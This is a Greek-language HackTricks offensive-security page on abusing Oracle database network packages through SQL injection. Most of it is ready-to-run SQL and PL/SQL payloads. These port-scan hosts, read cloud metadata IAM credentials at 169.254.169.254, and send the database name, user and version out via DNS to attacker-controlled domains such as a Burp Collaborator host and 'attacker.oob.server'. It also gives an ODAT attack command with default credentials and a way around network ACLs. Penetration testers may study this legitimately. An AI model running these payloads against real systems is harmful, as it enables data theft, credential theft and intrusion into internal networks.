Oracle injection
Reading time: 10 minutes
tip
Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Ελέγξτε τα σχέδια συνδρομής!
- Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.
Σερβίρετε αυτή την ανάρτηση μια αντίγραφο από το wayback machine της διαγραμμένης ανάρτησης από https://ibreak.software/2020/06/using-sql-injection-to-perform-ssrf-xspa-attacks/.
SSRF
Η χρήση του Oracle για να κάνετε Out of Band HTTP και DNS αιτήματα είναι καλά τεκμηριωμένη, αλλά ως μέσο εξαγωγής SQL δεδομένων σε επιθέσεις. Μπορούμε πάντα να τροποποιήσουμε αυτές τις τεχνικές/λειτουργίες για να κάνουμε άλλες SSRF/XSPA.
Η εγκατάσταση του Oracle μπορεί να είναι πραγματικά επώδυνη, ειδικά αν θέλετε να ρυθμίσετε μια γρήγορη παρουσία για να δοκιμάσετε εντολές. Ο φίλος και συνάδελφός μου στο Appsecco, Abhisek Datta, μου υπέδειξε το https://github.com/MaksymBilenko/docker-oracle-12c που μου επέτρεψε να ρυθμίσω μια παρουσία σε μια t2.large AWS Ubuntu μηχανή και Docker.
Εκτέλεσα την εντολή docker με την επιλογή --network="host"
ώστε να μπορώ να μιμηθώ το Oracle ως εγγενή εγκατάσταση με πλήρη πρόσβαση στο δίκτυο, κατά τη διάρκεια αυτής της ανάρτησης.
docker run -d --network="host" quay.io/maksymbilenko/oracle-12c
Oracle packages that support a URL or a Hostname/Port Number specification
Για να βρω οποιαδήποτε πακέτα και συναρτήσεις που υποστηρίζουν μια προδιαγραφή host και port, έκανα μια αναζήτηση στο Google στην Oracle Database Online Documentation. Συγκεκριμένα,
site:docs.oracle.com inurl:"/database/121/ARPLS" "host"|"hostname" "port"|"portnum"
Η αναζήτηση επέστρεψε τα εξής αποτελέσματα (όχι όλα μπορούν να χρησιμοποιηθούν για την εκτέλεση εξωτερικού δικτύου)
- DBMS_NETWORK_ACL_ADMIN
- UTL_SMTP
- DBMS_XDB
- DBMS_SCHEDULER
- DBMS_XDB_CONFIG
- DBMS_AQ
- UTL_MAIL
- DBMS_AQELM
- DBMS_NETWORK_ACL_UTILITY
- DBMS_MGD_ID_UTL
- UTL_TCP
- DBMS_MGWADM
- DBMS_STREAMS_ADM
- UTL_HTTP
Αυτή η πρόχειρη αναζήτηση προφανώς παραλείπει πακέτα όπως το DBMS_LDAP
(το οποίο επιτρέπει τη μεταφορά ενός ονόματος κεντρικού υπολογιστή και αριθμού θύρας) καθώς η σελίδα τεκμηρίωσης σας παραπέμπει απλώς σε μια διαφορετική τοποθεσία. Επομένως, μπορεί να υπάρχουν άλλα πακέτα Oracle που μπορούν να καταχραστούν για να κάνουν εξωτερικά αιτήματα που μπορεί να έχω παραλείψει.
Σε κάθε περίπτωση, ας ρίξουμε μια ματιά σε μερικά από τα πακέτα που έχουμε ανακαλύψει και καταγράψει παραπάνω.
DBMS_LDAP.INIT
Το πακέτο DBMS_LDAP
επιτρέπει την πρόσβαση σε δεδομένα από διακομιστές LDAP. Η συνάρτηση init()
αρχικοποιεί μια συνεδρία με έναν διακομιστή LDAP και δέχεται ένα όνομα κεντρικού υπολογιστή και αριθμό θύρας ως παράμετρο.
Αυτή η συνάρτηση έχει τεκμηριωθεί προηγουμένως για να δείξει την εξαγωγή δεδομένων μέσω DNS, όπως παρακάτω
SELECT DBMS_LDAP.INIT((SELECT version FROM v$instance)||'.'||(SELECT user FROM dual)||'.'||(select name from V$database)||'.'||'d4iqio0n80d5j4yg7mpu6oeif9l09p.burpcollaborator.net',80) FROM dual;
Ωστόσο, δεδομένου ότι η συνάρτηση δέχεται ένα όνομα κεντρικού υπολογιστή και έναν αριθμό θύρας ως παραμέτρους, μπορείτε να το χρησιμοποιήσετε για να λειτουργήσει και ως σαρωτής θυρών.
Ακολουθούν μερικά παραδείγματα
SELECT DBMS_LDAP.INIT('scanme.nmap.org',22) FROM dual;
SELECT DBMS_LDAP.INIT('scanme.nmap.org',25) FROM dual;
SELECT DBMS_LDAP.INIT('scanme.nmap.org',80) FROM dual;
SELECT DBMS_LDAP.INIT('scanme.nmap.org',8080) FROM dual;
Ένα ORA-31203: DBMS_LDAP: PL/SQL - Init Failed.
δείχνει ότι η θύρα είναι κλειστή ενώ μια τιμή συνεδρίας δείχνει ότι η θύρα είναι ανοιχτή.
UTL_SMTP
Το πακέτο UTL_SMTP
έχει σχεδιαστεί για την αποστολή email μέσω SMTP. Το παράδειγμα που παρέχεται στον ιστότοπο τεκμηρίωσης της Oracle δείχνει πώς μπορείτε να χρησιμοποιήσετε αυτό το πακέτο για να στείλετε ένα email. Για εμάς, ωστόσο, το ενδιαφέρον είναι η δυνατότητα παροχής προδιαγραφών για host και θύρα.
Ένα πρόχειρο παράδειγμα φαίνεται παρακάτω με τη λειτουργία UTL_SMTP.OPEN_CONNECTION
, με χρονικό όριο 2 δευτερολέπτων.
DECLARE c utl_smtp.connection;
BEGIN
c := UTL_SMTP.OPEN_CONNECTION('scanme.nmap.org',80,2);
END;
DECLARE c utl_smtp.connection;
BEGIN
c := UTL_SMTP.OPEN_CONNECTION('scanme.nmap.org',8080,2);
END;
Ένα ORA-29276: transfer timeout
δείχνει ότι η θύρα είναι ανοιχτή αλλά δεν έχει καθοριστεί καμία σύνδεση SMTP, ενώ ένα ORA-29278: SMTP transient error: 421 Service not available
δείχνει ότι η θύρα είναι κλειστή.
UTL_TCP
Το πακέτο UTL_TCP
και οι διαδικασίες και συναρτήσεις του επιτρέπουν TCP/IP βασισμένη επικοινωνία με υπηρεσίες. Εάν προγραμματιστεί για μια συγκεκριμένη υπηρεσία, αυτό το πακέτο μπορεί εύκολα να γίνει ένας τρόπος εισόδου στο δίκτυο ή να εκτελέσει πλήρεις Αιτήσεις Από την Πλευρά του Διακομιστή, καθώς όλες οι πτυχές μιας σύνδεσης TCP/IP μπορούν να ελεγχθούν.
Το παράδειγμα στην ιστοσελίδα τεκμηρίωσης της Oracle δείχνει πώς μπορείτε να χρησιμοποιήσετε αυτό το πακέτο για να κάνετε μια ακατέργαστη σύνδεση TCP για να ανακτήσετε μια ιστοσελίδα. Μπορούμε να το απλοποιήσουμε λίγο περισσότερο και να το χρησιμοποιήσουμε για να κάνουμε αιτήσεις στην περίπτωση μεταδεδομένων για παράδειγμα ή σε μια αυθαίρετη υπηρεσία TCP/IP.
set serveroutput on size 30000;
SET SERVEROUTPUT ON
DECLARE c utl_tcp.connection;
retval pls_integer;
BEGIN
c := utl_tcp.open_connection('169.254.169.254',80,tx_timeout => 2);
retval := utl_tcp.write_line(c, 'GET /latest/meta-data/ HTTP/1.0');
retval := utl_tcp.write_line(c);
BEGIN
LOOP
dbms_output.put_line(utl_tcp.get_line(c, TRUE));
END LOOP;
EXCEPTION
WHEN utl_tcp.end_of_input THEN
NULL;
END;
utl_tcp.close_connection(c);
END;
/
DECLARE c utl_tcp.connection;
retval pls_integer;
BEGIN
c := utl_tcp.open_connection('scanme.nmap.org',22,tx_timeout => 4);
retval := utl_tcp.write_line(c);
BEGIN
LOOP
dbms_output.put_line(utl_tcp.get_line(c, TRUE));
END LOOP;
EXCEPTION
WHEN utl_tcp.end_of_input THEN
NULL;
END;
utl_tcp.close_connection(c);
END;
Ενδιαφέρον, λόγω της ικανότητας να δημιουργεί ακατέργαστα αιτήματα TCP, αυτό το πακέτο μπορεί επίσης να χρησιμοποιηθεί για να ερωτήσει την υπηρεσία μεταδεδομένων της Instance όλων των παρόχων cloud, καθώς ο τύπος μεθόδου και οι επιπλέον κεφαλίδες μπορούν να περαστούν μέσα στο αίτημα TCP.
UTL_HTTP και Ιστοσελίδες Αιτημάτων
Ίσως η πιο κοινή και ευρέως τεκμηριωμένη τεχνική σε κάθε tutorial Out of Band Oracle SQL Injection είναι το UTL_HTTP
package. Αυτό το πακέτο ορίζεται από την τεκμηρίωση ως - The UTL_HTTP package makes Hypertext Transfer Protocol (HTTP) callouts from SQL and PL/SQL. You can use it to access data on the Internet over HTTP.
select UTL_HTTP.request('http://169.254.169.254/latest/meta-data/iam/security-credentials/adminrole') from dual;
Μπορείτε επιπλέον να το χρησιμοποιήσετε για να εκτελέσετε μερικές στοιχειώδεις σάρωσεις θυρών επίσης με ερωτήματα όπως
select UTL_HTTP.request('http://scanme.nmap.org:22') from dual;
select UTL_HTTP.request('http://scanme.nmap.org:8080') from dual;
select UTL_HTTP.request('http://scanme.nmap.org:25') from dual;
Ένα ORA-12541: TNS:no listener
ή ένα TNS:operation timed out
είναι σημάδι ότι η θύρα TCP είναι κλειστή, ενώ ένα ORA-29263: HTTP protocol error
ή δεδομένα είναι σημάδι ότι η θύρα είναι ανοιχτή.
Ένα άλλο πακέτο που έχω χρησιμοποιήσει στο παρελθόν με ποικιλία επιτυχίας είναι η GETCLOB()
μέθοδος του HTTPURITYPE
Oracle abstract type που σας επιτρέπει να αλληλεπιδράτε με μια διεύθυνση URL και παρέχει υποστήριξη για το πρωτόκολλο HTTP. Η μέθοδος GETCLOB()
χρησιμοποιείται για να ανακτήσει την απόκριση GET από μια διεύθυνση URL ως CLOB data type.
SELECT HTTPURITYPE('http://169.254.169.254/latest/meta-data/instance-id').getclob() FROM dual;
Επιπλέον Πακέτα & Τεχνικές (Oracle 19c → 23c)
UTL_INADDR – Εξαγωγή δεδομένων μέσω DNS και ανακάλυψη hosts
UTL_INADDR
εκθέτει απλούς βοηθούς επίλυσης ονομάτων που ενεργοποιούν μια εξερχόμενη αναζήτηση DNS από τον κεντρικό υπολογιστή της βάσης δεδομένων. Δεδομένου ότι απαιτείται μόνο ένα domain (χωρίς port/ACL) είναι μια αξιόπιστη πρωτογενής μέθοδος για blind-exfil όταν άλλες κλήσεις δικτύου είναι αποκλεισμένες.
-- Leak the DB name and current user via a DNS query handled by Burp Collaborator
SELECT UTL_INADDR.get_host_address(
(SELECT name FROM v$database)||'.'||(SELECT user FROM dual)||
'.attacker.oob.server') FROM dual;
get_host_address()
επιστρέφει τη διεύθυνση IP που έχει επιλυθεί (ή προκαλεί ORA-29257
αν η επίλυση αποτύχει). Ο επιτιθέμενος χρειάζεται μόνο να παρακολουθεί το εισερχόμενο αίτημα DNS στον ελεγχόμενο τομέα για να επιβεβαιώσει την εκτέλεση του κώδικα.
DBMS_CLOUD.SEND_REQUEST – πλήρης HTTP πελάτης σε Autonomous/23c
Οι πρόσφατες εκδόσεις που επικεντρώνονται στο cloud (Autonomous Database, 21c/23c, 23ai) περιλαμβάνουν το DBMS_CLOUD
. Η συνάρτηση SEND_REQUEST
λειτουργεί ως γενικού σκοπού HTTP πελάτης που υποστηρίζει προσαρμοσμένα ρήματα, κεφαλίδες, TLS και μεγάλες σώματα, καθιστώντας την πολύ πιο ισχυρή από την κλασική UTL_HTTP
.
-- Assuming the current user has CREATE CREDENTIAL and network ACL privileges
BEGIN
-- empty credential when no auth is required
DBMS_CLOUD.create_credential(
credential_name => 'NOAUTH',
username => 'ignored',
password => 'ignored');
END;
/
DECLARE
resp DBMS_CLOUD_TYPES.resp;
BEGIN
resp := DBMS_CLOUD.send_request(
credential_name => 'NOAUTH',
uri => 'http://169.254.169.254/latest/meta-data/',
method => 'GET',
timeout => 3);
dbms_output.put_line(DBMS_CLOUD.get_response_text(resp));
END;
/
Γιατί το SEND_REQUEST
επιτρέπει αυθαίρετες διευθύνσεις URI στόχου, μπορεί να καταχραστεί μέσω SQLi για:
- Εσωτερική σάρωση θυρών / SSRF σε υπηρεσίες μεταδεδομένων cloud.
- Εξαγωγή εκτός ζώνης μέσω HTTPS (χρησιμοποιήστε το Burp Collaborator ή ένα
ngrok
τούνελ). - Επιστροφές σε διακομιστές επιτιθέμενων ακόμη και όταν οι παλαιότερες πακέτες κλήσεων είναι απενεργοποιημένες από ACLs.
ℹ️ Εάν έχετε μόνο μια κλασική on-prem 19c αλλά μπορείτε να δημιουργήσετε αποθηκευμένες διαδικασίες Java, μπορείτε μερικές φορές να εγκαταστήσετε το DBMS_CLOUD
από το πακέτο πελάτη OCI — χρήσιμο σε ορισμένες εμπλοκές.
Αυτοματοποίηση της επιφάνειας επίθεσης με ODAT
ODAT – Oracle Database Attacking Tool έχει παρακολουθήσει τις σύγχρονες εκδόσεις (δοκιμασμένο μέχρι 19c, 5.1.1 – Απρ-2022). Τα modules –utl_http
, –utl_tcp
, –httpuritype
και τα νεότερα –dbms_cloud
αυτόματα:
- Ανιχνεύουν χρησιμοποιήσιμα πακέτα κλήσεων/παραχωρήσεις ACL.
- Προκαλούν DNS & HTTP επιστροφές για τυφλή εξαγωγή.
- Δημιουργούν έτοιμα προς αντιγραφή SQL payloads για Burp/SQLMap.
Παράδειγμα: γρήγορος έλεγχος OOB με προεπιλεγμένα διαπιστευτήρια (φροντίζει για την καταμέτρηση ACL στο παρασκήνιο):
odat all -s 10.10.10.5 -p 1521 -d XE -U SCOTT -P tiger --modules oob
Πρόσφατοι περιορισμοί & παρακάμψεις δικτύου ACL
Η Oracle αυστηροποίησε τα προεπιλεγμένα Network ACLs στην CPU Ιουλίου 2023 — οι λογαριασμοί χωρίς δικαιώματα τώρα λαμβάνουν ORA-24247: network access denied by access control list
από προεπιλογή. Δύο μοτίβα επιτρέπουν ακόμα κλήσεις μέσω SQLi:
- Ο στοχευμένος λογαριασμός κατέχει μια είσοδο ACL (
DBMS_NETWORK_ACL_ADMIN.create_acl
) που προστέθηκε από έναν προγραμματιστή για ενσωματώσεις. - Ο επιτιθέμενος εκμεταλλεύεται μια ρουτίνα PL/SQL με δικαιώματα ορισμού υψηλής προνομιακής πρόσβασης (π.χ. σε μια προσαρμοσμένη εφαρμογή) που έχει ήδη
AUTHID DEFINER
και τις απαραίτητες παραχωρήσεις.
Αν συναντήσετε ORA-24247
κατά την εκμετάλλευση, πάντα αναζητήστε επαναχρησιμοποιήσιμες διαδικασίες:
SELECT owner, object_name
FROM dba_objects
WHERE object_type = 'PROCEDURE'
AND authid = 'DEFINER';
(in many audits at least one reporting/export procedure had the needed rights).
Αναφορές
- Oracle Docs – περιγραφή και παραδείγματα του πακέτου
DBMS_CLOUD.SEND_REQUEST
. - quentinhardy/odat – Εργαλείο Επίθεσης Βάσης Δεδομένων Oracle (τελευταία έκδοση 5.1.1, Απρ-2022).
tip
Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Ελέγξτε τα σχέδια συνδρομής!
- Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.